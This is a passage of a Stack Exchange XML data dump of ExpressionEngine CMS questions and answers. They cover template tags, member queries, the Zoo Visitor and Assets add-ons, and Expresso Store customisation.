   &amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice on how to go about making this work?&lt;/p&gt;&#xA;" OwnerUserId="6366" LastActivityDate="2015-06-02T03:58:52.507" Title="List Blog Authors" Tags="|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31736" PostTypeId="2" ParentId="31532" CreationDate="2015-06-01T23:54:03.820" Score="1" Body="&lt;p&gt;The next order number is set the br_config_data table. Look for the 'label' column with the value 'Order ID' and you'll see the next order id in the 'value' field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to make sure that its greater than any existing orders in the database since the value is auto incremented. &lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2015-06-01T23:54:03.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31737" PostTypeId="2" ParentId="31735" CreationDate="2015-06-02T00:50:00.300" Score="0" Body="&lt;p&gt;If you want to list users, your better option is to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/query/index.html&quot; rel=&quot;nofollow&quot;&gt;Query Module&lt;/a&gt;. The first sample codes on user guide are all about members.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT screen_name, email, location FROM exp_members WHERE group_id = '1'&quot;}&#xA;        {screen_name}&#xA;        {email}&#xA;        {location}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The previous sample, limits the members to who is on group 1, but you can improve it to who is also on &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#include-members-in-publish-page-multi-author-list&quot; rel=&quot;nofollow&quot;&gt;author list&lt;/a&gt; and have written entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;  screen_name,&#xA;  email,&#xA;  location&#xA;FROM&#xA;  exp_members&#xA;WHERE&#xA;  group_id = '1'&#xA;  AND in_authorlist = 'y'&#xA;  AND total_entries != 0&#xA;ORDER BY &#xA;  last_entry_date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;SELECT *&lt;/code&gt; if you want to return all fields on the &lt;code&gt;exp_members&lt;/code&gt; table.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-06-02T03:58:52.507" LastActivityDate="2015-06-02T03:58:52.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31738" PostTypeId="2" ParentId="31731" CreationDate="2015-06-02T01:04:16.193" Score="1" Body="&lt;p&gt;If you have SSH access to the server you can use symlinks to share templates across sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/www/main_site/templates (Templates live here)&#xA;/var/www/site1/templates --&amp;gt; /var/www/main_site/templates&#xA;/var/www/site2/templates --&amp;gt; /var/www/main_site/templates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, this means the exact same template file needs to work for any of your sub-sites. You might use global variables or Low Variables to handle the per-site customization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have used this approach for a network of 200+ sites all running from one of five EE installs that all have identical templates. (It's a nation-wide nonprofit with lots of local chapters.)&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2015-06-02T01:04:16.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31739" PostTypeId="2" ParentId="19953" CreationDate="2015-06-02T01:18:58.003" Score="0" Body="&lt;p&gt;You should define your custom templates in it's own file outside of Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. /assets/wysiwyg/wysiwyg-templates.js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register a template definition set named &quot;default&quot;.&#xA;CKEDITOR.addTemplates( 'default',&#xA;{&#xA;    // The name of the subfolder that contains the preview images of the templates.&#xA;    imagesPath : '/assets/wysiwyg/images/',&#xA;&#xA;    // Template definitions.&#xA;    templates :[&#xA;        {&#xA;            title: 'Callout - Blue Background',&#xA;            image: 'callout-blue.png',&#xA;            html:&#xA;                '&amp;lt;div class=&quot;callout-blue&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;' +&#xA;                '&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;'&#xA;        },&#xA;        {&#xA;            title: 'Custom - List Item',&#xA;            image: 'custom-list-item.png',&#xA;            html:&#xA;                '&amp;lt;p class=&quot;custom-li&quot;&amp;gt;&amp;lt;span class=&quot;key&quot;&amp;gt;1.&amp;lt;/span&amp;gt; Lorem ipsum&amp;lt;/p&amp;gt;' +&#xA;                '&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;'&#xA;        },&#xA;        {&#xA;            title: 'Styled Link List',&#xA;            image: 'link-list.png',&#xA;            html:&#xA;                '&amp;lt;ul class=&quot;link-callout&quot;&amp;gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;' +&#xA;                '&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;'&#xA;        },&#xA;    ]&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the EE control panel go to the Wygwam module, edit your configuration and add an advanced setting for template_files and set it to the path you used above (e.g. /assets/wysiwyg/wysiwyg-templates.js).&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2015-06-02T01:18:58.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31740" PostTypeId="2" ParentId="31716" CreationDate="2015-06-02T01:26:06.923" Score="3" Body="&lt;p&gt;I agree with @foamcow's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, change your SFTP and MySQL passwords and look at .htaccess in case they injected some redirects.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2015-06-02T01:26:06.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31741" PostTypeId="2" ParentId="31727" CreationDate="2015-06-02T08:46:51.893" Score="2" Body="&lt;p&gt;Here you can find a fix: &lt;a href=&quot;https://github.com/MaxLazar/mx-notify-control/pull/4&quot; rel=&quot;nofollow&quot;&gt;https://github.com/MaxLazar/mx-notify-control/pull/4&lt;/a&gt; (I haven't tried if this works)&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-06-02T08:46:51.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31742" PostTypeId="2" ParentId="31734" CreationDate="2015-06-02T08:56:21.450" Score="2" Body="&lt;p&gt;Really we need to see your template code as it's not really clear what you're doing/trying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However would it not be a case of using an embed or channel entries loop within the search results? Thats what you want right, to display the parent of an entry within search results, if that result is a child entry 'type' or channel??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this, written on the fly so probably doesn't work but hopefully give you the idea of what I'm getting at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;   orderby_sort=&quot;title|asc&quot;&#xA;   query=&quot;{segment_3}&quot;  &#xA;}&#xA;    {!-- Detect entries of type child --}&#xA;    {if channel_short_name == 'child_channel'}&#xA;&#xA;        {!-- get the parent entry&#xA;        {parents field=&quot;relationship_field&quot;}&#xA;                {exp:channel:entries entry_id=&quot;{parents:entry_id}&quot; dynamic=&quot;no&quot;}&#xA;&#xA;                    {!-- Display Parent Stuff --}&#xA;                    {url_title_path='parent_channel/display'}&#xA;&#xA;                {exp:channel:entries}&#xA;        {/parents}&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or have I missed your point? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since code example, I've written a more consise answer for you. It's not clear if you wish to display the &lt;code&gt;{title}&lt;/code&gt; of the parent or child so I've added alternatives to relect this.&lt;strike&gt; Also, I've utilised an embedded template to make the markup more readable, otherwise you'll end up with many EE tags inside the anchor tag!&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt; : Following Low's comments I've used namespaced variables instead of the extra channel entries loop. I've had issues with parameters and EE tags inside relationship parent loops before (hence initial avoidence) so my code is supplied untested!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First the main template...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel == &quot;members&quot;} {!-- child of 'bands' --}&#xA;&#xA;  &amp;lt;div class=&quot;entry&quot; style=&quot;clear: both;&quot;&amp;gt;&#xA;&#xA;   {!-- This example assumes child's title --}&#xA;   &amp;lt;h3&amp;gt;&#xA;   {parents field=&quot;parents_relationship_fieldname&quot;}&#xA;     &amp;lt;a href='{parents:url_title_path='templates/bands'}'&amp;gt;&#xA;   {/parents}&#xA;       {title}&#xA;     &amp;lt;/a&amp;gt;&#xA;   &amp;lt;/h3&amp;gt;&#xA;   &amp;lt;p&amp;gt;{low_search_excerpt}&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wantedt he parent title, try something like this instead: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel == &quot;members&quot;} {!-- child of 'bands' --}&#xA;&#xA;  &amp;lt;div class=&quot;entry&quot; style=&quot;clear: both;&quot;&amp;gt;&#xA;&#xA;   {!-- This example assumes parent's title --}&#xA;   {parents field=&quot;parents_relationship_fieldname&quot;}&#xA;     &amp;lt;h3&amp;gt;&amp;lt;a href='{parents:url_title_path='templates/bands'}'&amp;gt;{parents:title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;   {/parents}&#xA;   &amp;lt;p&amp;gt;{low_search_excerpt}&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-03T13:18:32.000" LastActivityDate="2015-06-03T13:18:32.000" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31743" PostTypeId="1" CreationDate="2015-06-02T10:17:42.670" Score="0" ViewCount="59" Body="&lt;p&gt;I just wanted to check if I'm missing something here. Is there anyway to store custom data against an order item - for example, I have a set of sessions (think events) and I would like to store details against the specific session they've booked. Something like the name, address of the person attending the session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This data may be different from the billing details, and the customer who purchases maybe purchasing multiple sessions for different people. I think the order items table is where this should come (or join) from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this is fairly edge case, but wanted to check I wasn't re-inventing some functionality before I crack out the extension generator...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2015-11-24T16:32:45.927" Title="Expresso Store : Storing data within the exp_store_order_items table" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31744" PostTypeId="2" ParentId="31446" CreationDate="2015-06-02T10:46:48.417" Score="0" Body="&lt;p&gt;Are you blocking cookies? If so, allow cookies and try to submit your form again.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-06-02T10:46:48.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31747" PostTypeId="1" CreationDate="2015-06-02T12:10:17.437" Score="1" ViewCount="73" Body="&lt;p&gt;I work with channel images and my remote location is amazon S3. as our content theam is creating galleries on live site, I would like to create these galleries also on development. is there any simple solution to create a gallery with images already uploaded on S3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;otherwise I have to upload images on development again and a new gallery is created in my remote, which is not needed.&lt;/p&gt;&#xA;" OwnerUserId="2974" LastActivityDate="2015-06-02T12:10:17.437" Title="create channel images gallery from S3" Tags="|s3|amazon|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31748" PostTypeId="2" ParentId="31734" CreationDate="2015-06-02T15:11:00.390" Score="3" Body="&lt;p&gt;@Blatant is on the right track, but the code example isn't optimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the Results tag builds upon the native &lt;code&gt;exp:channel:entries&lt;/code&gt; tag, you're able to use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-parents&quot; rel=&quot;nofollow&quot;&gt;the native Relationships Field options&lt;/a&gt;. So, to get to an entry's parent, use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;relationship_field&quot;}&#xA;    {parents:url_title}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use that to compose the URL you want for the channel you want.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-06-02T15:11:00.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31750" PostTypeId="1" AcceptedAnswerId="31753" CreationDate="2015-06-02T15:50:40.690" Score="1" ViewCount="187" Body="&lt;p&gt;I have a site in development using Zoo Visitor 1.3.34 (latest version) and EE 2.9.2. Currently, I'm running into a small stupid problem that might be a Zoo Visitor bug. I know I could write a tiny extension to fix the issue, but am wondering if anyone else has run into this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new user is registered, they get their EE Member rows created, and Zoo Visitor creates an entry in the Zoo Visitor channel. Zoo visitor has a hidden field that holds the Member ID (so it can associate it's channel entry with the logged in user). When a new user is registered via a front-end  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tag, everything goes fine, but the field that holds the Member ID in the Zoo Visitor channel &lt;strong&gt;does not get populated&lt;/strong&gt;. If I then open that Members Zoo Channel entry and give a submit, it then populates that field. This is an issue because I'm using a Zoo Channel field to control permissions, and need to look up the members channel entry without someone having to open each new users Zoo channel entry and submitting it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas I'm missing besides just making an extension that hooks to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;zoo_visitor_register_end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and updating the Member ID field manually after registration? Zoo Visitor has way too much code for me to spend the time to track this down if it is a bug. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-01T06:48:14.423" Title="Zoo Visitor not entering member_id on registration" Tags="|zoo-visitor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31751" PostTypeId="1" AcceptedAnswerId="31909" CreationDate="2015-06-02T16:26:38.257" Score="0" ViewCount="140" Body="&lt;p&gt;We are using SolSpace User to handle key invites and member signup and also using the screen name override feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are quite a few members on this site, so we added the member_id field to the screen name override, so it's like this: first_name|last_name|member_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That works great for dealing with conflicting screen names, but the EE email that goes out to the admin to let him know that a new member registered is now showing &quot;garbage&quot; for the name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Member name: 4f99fa19c1d3b11c9ad517b0c073e450&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2776" LastEditorUserId="1100" LastEditDate="2015-06-02T17:53:55.513" LastActivityDate="2015-07-12T12:40:16.957" Title="Problems with new member registration email and SolSpace User" Tags="|solspace|solspace-user|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31752" PostTypeId="2" ParentId="31750" CreationDate="2015-06-02T16:26:48.417" Score="1" Body="&lt;p&gt;On the template where your member is taken &lt;strong&gt;after&lt;/strong&gt; registration, try adding this tag : &lt;code&gt;{exp:zoo_visitor:sync}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will force the fields to sycronize between members fields and channel entries, which I beleive is whats happening when you go into the CP and 'submit' the member entry anyway. The tag is undocumented ASAIK, but it's referenced in these places:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5057/facebook-connect-vs-zoo-visitor/11735#11735&quot;&gt;Facebook Connect vs Zoo Visitor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/support/zoo-visitor/viewthread/2395&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://devot-ee.com/add-ons/support/zoo-visitor/viewthread/2395&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/31365/expresso-store-zoo-visitors-are-they-playing-together-during-checkout/31377#31377&quot;&gt;Expresso Store &amp;amp; Zoo Visitors are they playing together during checkout?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's more for members created by other means (like Social Pro) but I beleive it might help out, and hey, it takes 5 mins to check this solution!! Let us know if it works/how you get on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a guess from a related question but it might kick things into life!!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-06-02T16:32:21.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31753" PostTypeId="2" ParentId="31750" CreationDate="2015-06-02T16:28:18.410" Score="1" Body="&lt;p&gt;I hate to be one of those people, but I couldn't move on until I fixed this issue. Here's how I did it. In my plugin to check for permissions, I was looking up the Zoo Visitor Channel entry by looking at that field to match member_id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get zoo row&#xA;$member_id  = ee()-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;&#xA;$zoo_dept   = ee()-&amp;gt;db  -&amp;gt;select($this-&amp;gt;zoo_department_field)&#xA;                        -&amp;gt;from('exp_channel_data')&#xA;                        -&amp;gt;where($this-&amp;gt;zoo_member_id_field, $member_id)&#xA;                        -&amp;gt;get()&#xA;                        -&amp;gt;row_array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead, I found a helper function in a Zoo Visitor helper called get_visitor_id. So in my plugin __construct, I added this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD . 'zoo_visitor/');&#xA;ee()-&amp;gt;load-&amp;gt;library('zoo_visitor_lib');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then I use that helper function to look up the row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get zoo row&#xA;$visitor_id = ee()-&amp;gt;zoo_visitor_lib-&amp;gt;get_visitor_id($member_id);&#xA;&#xA;$zoo_dept   = ee()-&amp;gt;db  -&amp;gt;select($this-&amp;gt;zoo_department_field)&#xA;                        -&amp;gt;from('exp_channel_data')&#xA;                        -&amp;gt;where('entry_id', $visitor_id)&#xA;                        -&amp;gt;get()&#xA;                        -&amp;gt;row_array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and continue along with my normal permissions checks! It would be nice if Zoo Visitor documented their API and helpers for developers, but it's OK, I enjoy investigating code. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-01T06:48:14.423" LastActivityDate="2015-08-01T06:48:14.423" CommentCount="4" CommunityOwnedDate="2015-06-02T16:28:18.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="31754" PostTypeId="1" AcceptedAnswerId="31782" CreationDate="2015-06-02T17:27:28.163" Score="0" ViewCount="76" Body="&lt;p&gt;I've checked the other threads on this, removed the cached files, cleared my browser cache and changed CP to cookies only and it's not helping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets won't display anything but the file folders. I can't see the individual files after migration. I checked the paths to the files in the file upload preferences and they are correct.&lt;/p&gt;&#xA;" OwnerUserId="973" LastActivityDate="2015-06-03T21:31:09.203" Title="Migrate site, Assets not displaying files" Tags="|assets|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31755" PostTypeId="2" ParentId="31754" CreationDate="2015-06-02T18:15:13.417" Score="0" Body="&lt;p&gt;Go to &lt;strong&gt;Admin &amp;rarr; System Administration&lt;/strong&gt; and verify that &lt;code&gt;$config['site_url']&lt;/code&gt; is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets uses an action appended to that value via an AJAX call in order to display thumbnails, so if it's incorrect it can't display images in the admin.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-02T18:15:13.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31756" PostTypeId="2" ParentId="5313" CreationDate="2015-06-02T18:17:33.320" Score="1" Body="&lt;p&gt;It is possible using the Stripe gateway and hacking the build_payment_request method in the PaymentsService class.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request['currency'] = config_item('store_currency_code');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to accept a POST variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request['currency'] = $this-&amp;gt;ee-&amp;gt;input-&amp;gt;post('currency', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you've done that, you should be able to pass a &lt;a href=&quot;https://support.stripe.com/questions/which-currencies-does-stripe-support&quot; rel=&quot;nofollow&quot;&gt;3 letter currency variable&lt;/a&gt; through the checkout form, either through a hidden field, or a select dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm basing my currency field based on the billing address, so that the user is charged the currency of the country that they are located in. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;currency&quot; value=&quot;{if billing_country == &quot;US&quot;}USD{if:else}CAD{/if}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="794" LastActivityDate="2015-06-02T18:17:33.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31758" PostTypeId="1" CreationDate="2015-06-02T19:16:01.513" Score="0" ViewCount="71" Body="&lt;p&gt;I'm trying to replicate the example &lt;a href=&quot;http://www.eec.ms/user_guide/mx-notify-control/example.html#394&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but Channel Entries tag in the notification email is not rendering at all. I've tried both Plain Text and HTML emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1575" LastActivityDate="2016-06-09T00:21:29.040" Title="MX Notify Control not parsing Channel Entries tag" Tags="|mx-notify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31759" PostTypeId="1" CreationDate="2015-06-02T22:40:46.623" Score="0" ViewCount="24" Body="&lt;p&gt;I have a channel with entries&#xA;Every entry have only one field for file upload.&#xA;How to add second/3-rd/4 etc.. file into entry without adding fields for new files?&#xA;May be anyone know module?&lt;/p&gt;&#xA;" OwnerUserId="3683" LastActivityDate="2015-06-03T00:29:40.123" Title="Add files to entry, twice a week" Tags="|ee2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31760" PostTypeId="2" ParentId="31759" CreationDate="2015-06-02T22:50:03.713" Score="1" Body="&lt;p&gt;I would recommend something like Matrix. You could have a single column Matrix field of file upload fields. But as for conversion of what you have? Forget it. To do what you want, you need to edit field groups, and it sounds like that isn't an option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is, get Matrix, it's awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/matrix&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-02T22:50:03.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31761" PostTypeId="2" ParentId="31759" CreationDate="2015-06-03T00:29:40.123" Score="0" Body="&lt;p&gt;Your easier option for it is to put the File field inside a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html&quot; rel=&quot;nofollow&quot;&gt;Grid&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first example on the user guide is about File fields.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-06-03T00:29:40.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31762" PostTypeId="2" ParentId="11217" CreationDate="2015-06-03T00:39:58.803" Score="0" Body="&lt;p&gt;In case anyone else is still stuck on this, I was able to solve this using Peter's solution, with a slight variation on the assets:files syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure_entries depth=&quot;1&quot; parent=&quot;9&quot;}&#xA;  {exp:assets:files folder=&quot;*&quot; keywords=&quot;{staff_photo}&quot; recursive=&quot;yes&quot;}&#xA;    {url}&#xA;  {/exp:assets:files}&#xA;{/exp:structure_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6368" LastEditorUserId="6368" LastEditDate="2015-06-03T00:46:35.450" LastActivityDate="2015-06-03T00:46:35.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31763" PostTypeId="2" ParentId="31708" CreationDate="2015-06-03T06:27:21.613" Score="0" Body="&lt;p&gt;Turns out the backspace=&quot;2&quot; was causing the issue. Maybe Navee updated their code so it was no longer required.&lt;/p&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2015-06-03T06:27:21.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31767" PostTypeId="2" ParentId="31758" CreationDate="2015-06-03T09:25:49.540" Score="0" Body="&lt;p&gt;Is the entry showing when you open the page in your browser? (Use the entry_id to debug.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two things come to my mind:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is the status of the entry other than 'open'? Than you should use the parameter status=&quot;[the other status]&quot;&lt;/li&gt;&#xA;&lt;li&gt;Is the entry_date a date in the future? Than use the parameter show_future_entries=&quot;yes&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-06-03T09:25:49.540" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31768" PostTypeId="2" ParentId="28940" CreationDate="2015-06-03T09:28:36.183" Score="0" Body="&lt;p&gt;I presume that you have checked the Order fields in Store Settings in the CP?&#xA;Do you have a Billing_company and shipping_company field?  If so, these are easily mapped to your existing member fields.  You would need to create any custom member fields first (e.g. billing_company).&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2015-06-03T09:28:36.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31769" PostTypeId="2" ParentId="26511" CreationDate="2015-06-03T09:32:55.533" Score="1" Body="&lt;p&gt;I've had problems such as this before.  The answer was to make a note of the problems and then modify the database manually accordingly so that the installer can cope with the changes.&#xA;This is usually a problem when there is a significant difference between the current version and the one you are upgrading to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a blog item about a particular upgrade which might help to point you to the right direction: &lt;a href=&quot;http://www.climbingturn.co.uk/tech_tips/expressionengine-tips-and-tricks/expressionengine-upgrade-271-to-290/&quot; rel=&quot;nofollow&quot;&gt;http://www.climbingturn.co.uk/tech_tips/expressionengine-tips-and-tricks/expressionengine-upgrade-271-to-290/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2015-06-03T09:32:55.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
